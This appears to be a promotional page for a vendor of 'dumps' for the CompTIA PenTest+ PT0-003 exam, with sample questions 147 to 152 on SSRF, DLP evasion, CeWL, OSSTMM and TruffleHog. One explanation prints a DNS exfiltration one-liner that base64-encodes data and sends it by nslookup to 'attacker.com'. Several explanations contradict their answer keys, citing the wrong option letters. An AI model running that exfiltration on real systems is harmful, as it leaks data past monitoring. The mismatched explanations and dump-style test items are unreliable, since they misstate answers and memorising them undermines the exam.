CompTIA PT0-003 Latest Test Guide & Latest PT0-003 Test Preparation

BONUS!!! Download part of TroytecDumps PT0-003 dumps for free: https://drive.google.com/open?id=1lGJ1GS23QTllLSVivAmWgQGLhqoevVaK

This PT0-003 certification assists you to put your career on the right track and helps you to achieve your career goals in a short time period. There are several personal and professional benefits that you can gain after passing the CompTIA PenTest+ Exam (PT0-003) certification exam. The prominent PT0-003 certification benefits include validation of skills and knowledge, more career opportunities, instant rise in salary, quick promotion, etc.

Actually, one of the most obvious advantages of our PT0-003 simulating questions is their profession, which is realized by the help from our experts. We invited a large group of professional experts who dedicated in this area for more than ten years. To improve the accuracy of the PT0-003 Guide preparations, they keep up with the trend closely. Every page of our PT0-003 practice engine is carefully arranged by them with high efficiency and high quality.

>> CompTIA PT0-003 Latest Test Guide <<

How TroytecDumps will Help You in Passing the CompTIA PT0-003 Certification Exam?

Our company is a multinational company which is famous for the PT0-003 training materials in the international market. After nearly ten years' efforts, now our company have become the topnotch one in the field, therefore, if you want to pass the PT0-003 exam as well as getting the related certification at a great ease, I strongly believe that the PT0-003 Study Materials compiled by our company is your solid choice. To be the best global supplier of electronic PT0-003 study materials for our customers' satisfaction has always been our common pursuit.

CompTIA PT0-003 Exam Syllabus Topics:

Topic	Details
Topic 1	• Engagement Management: In this topic, cybersecurity analysts learn about pre-engagement activities, collaboration, and communication in a penetration testing environment. The topic covers testing frameworks, methodologies, and penetration test reports. It also explains how to analyze findings and recommend remediation effectively within reports, crucial for real-world testing scenarios.
Topic 2	• Post-exploitation and Lateral Movement: Cybersecurity analysts will gain skills in establishing and maintaining persistence within a system. This topic also covers lateral movement within an environment and introduces concepts of staging and exfiltration. Lastly, it highlights cleanup and restoration activities, ensuring analysts understand the post-exploitation phase's responsibilities.

Topic 3	• Reconnaissance and Enumeration: This topic focuses on applying information gathering and enumeration techniques. Cybersecurity analysts will learn how to modify scripts for reconnaissance and enumeration purposes. They will also understand which tools to use for these stages, essential for gathering crucial information before performing deeper penetration tests.
Topic 4	• Attacks and Exploits: This extensive topic trains cybersecurity analysts to analyze data and prioritize attacks. Analysts will learn how to conduct network, authentication, host-based, web application, cloud, wireless, and social engineering attacks using appropriate tools. Understanding specialized systems and automating attacks with scripting will also be emphasized.
Topic 5	• Vulnerability Discovery and Analysis: In this section, cybersecurity analysts will learn various techniques to discover vulnerabilities. Analysts will also analyze data from reconnaissance, scanning, and enumeration phases to identify threats. Additionally, it covers physical security concepts, enabling analysts to understand security gaps beyond just the digital landscape.

CompTIA PenTest+ Exam Sample Questions (Q147-Q152):

NEW QUESTION # 147
A penetration tester is performing a cloud-based penetration test against a company. Stakeholders have indicated the priority is to see if the tester can get into privileged systems that are not directly accessible from the internet. Given the following scanner information:
Server-side request forgery (SSRF) vulnerability in test.comptia.org
Reflected cross-site scripting (XSS) vulnerability in test2.comptia.org Publicly accessible storage system named static_comptia_assets SSH port 22 open to the internet on test3.comptia.org Open redirect vulnerability in test4.comptia.org Which of the following attack paths should the tester prioritize first?

- A. Synchronize all the information from the public bucket and scan it with Trufflehog.
- B. Use the reflected cross-site scripting attack within a phishing campaign to attack administrators.
- C. Run Pacu to enumerate permissions and roles within the cloud-based systems.
- D. Leverage the SSRF to gain access to credentials from the metadata service.
- E. Perform a full dictionary brute-force attack against the open SSH service using Hydra.

Answer: D

Explanation:
Leverage SSRF for Metadata Access:
Server-side request forgery (SSRF) vulnerabilities allow attackers to force a server to send requests to internal resources. In cloud environments, SSRF can often be used to access the metadata service (e.g., AWS EC2 metadata) to retrieve credentials for cloud services.
Once credentials are obtained, they can be used to access privileged systems that are not directly accessible from the internet.
Why Not Other Options?
A (Public bucket): Analyzing the bucket for sensitive data is useful but does not directly lead to privileged system access.
B (Pacu): Pacu is used for AWS exploitation but requires credentials or misconfigured roles. SSRF can provide the credentials needed to run Pacu effectively.
C (SSH brute force): Brute-forcing SSH is noisy and inefficient. Privileged systems are likely better protected than SSH open to the internet.
D (Phishing via XSS): This is a longer-term attack and less direct compared to leveraging SSRF.
CompTIA Pentest+ References:
Domain 3.0 (Attacks and Exploits)
SSRF Exploitation and Cloud Metadata Access Techniques

NEW QUESTION # 148
A penetration tester has discovered sensitive files on a system. Assuming exfiltration of the files is part of the scope of the test, which of the following is most likely to evade DLP systems?

- A. Padding the data and uploading the files through an external cloud storage service.
- B. Obfuscating the data and pushing through FTP to the tester's controlled server.

- C. Encoding the data and pushing through DNS to the tester's controlled server.
- D. Hashing the data and emailing the files to the tester's company inbox.

Answer: C

Explanation:
DLP (Data Loss Prevention) systems monitor and block sensitive data transfers over HTTP, FTP, Email, and removable devices.
Encoding the data and exfiltrating through DNS (Option A):
DNS is often overlooked by DLP systems because it is required for network functionality.
Attackers use DNS tunneling (e.g., dnscat2, IODINE) to exfiltrate data inside DNS queries.
Example method
echo "Sensitive Data" | base64 | nslookup -q=TXT attacker.com
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "Data Exfiltration Techniques" Incorrect options:
Option B (Cloud storage): Many organizations monitor file uploads to cloud storage.
Option C (FTP): FTP is easily monitored and flagged by DLP solutions.
Option D (Hashing and emailing): Emails are actively scanned by DLP policies.

NEW QUESTION # 149
Which of the following tools should a penetration tester use to crawl a website and build a wordlist using the data recovered to crack the password on the website?

- A. DirBuster
- B. CeWL
- C. Patator
- D. w3af

Answer: B

Explanation:
CeWL, the Custom Word List Generator, is a Ruby application that allows you to spider a website based on a URL and depth setting and then generate a wordlist from the files and web pages it finds. Running CeWL against a target organization's sites can help generate a custom word list, but you will typically want to add words manually based on your own OSINT gathering efforts.
https://esgeeks.com/como-utilizar-cewl/

NEW QUESTION # 150
A penetration tester has just started a new engagement. The tester is using a framework that breaks the life cycle into 14 components. Which of the following frameworks is the tester using?

- A. OWASP MASVS
- B. MITRE ATT&CK
- C. CREST
- D. OSSTMM

Answer: D

Explanation:
The OSSTMM (Open Source Security Testing Methodology Manual) is a comprehensive framework for security testing that includes 14 components in its life cycle. Here's why option B is correct:
OSSTMM: This methodology breaks down the security testing process into 14 components, covering various aspects of security assessment, from planning to execution and reporting.
OWASP MASVS: This is a framework for mobile application security verification and does not have a 14- component life cycle.
MITRE ATT&CK: This is a knowledge base of adversary tactics and techniques but does not describe a 14- component life cycle.
CREST: This is a certification body for penetration testers and security professionals but does not provide a specific 14-component framework.
References from Pentest:
Anubis HTB: Emphasizes the structured approach of OSSTMM in conducting comprehensive security assessments.
Writeup HTB: Highlights the use of detailed methodologies like OSSTMM to cover all aspects of security testing.
Conclusion:
Option B, OSSTMM, is the framework that breaks the life cycle into 14 components, making it the correct answer.

NEW QUESTION # 151
During a penetration test, the tester gains full access to the application's source code. The application repository includes thousands of code files. Given that the assessment timeline is very short, which of the following approaches would allow the tester to identify hard-coded credentials most effectively?

- A. Scan the live web application using Nikto
- B. Run TruffleHog against a local clone of the application
- C. Perform a manual code review of the Git repository
- D. Use SCA software to scan the application source code

Answer: B

Explanation:
TruffleHog is a tool specifically designed to search through git repositories for high-entropy strings and secrets, including hard-coded credentials. This automated tool can quickly scan through thousands of code files and identify sensitive information, making it an ideal choice when time is limited.

NEW QUESTION # 152
.....

The CompTIA PT0-003 certification exam is one of the top-rated career booster certifications in the market. This CompTIA PenTest+ Exam (PT0-003) certification offers a great opportunity for CompTIA aspirants to validate their skills and knowledge. By doing this they can gain several personal and professional benefits. These PT0-003 Certification benefits help them not only prove their expertise but also enable them to gain multiple career opportunities in the highly competitive market.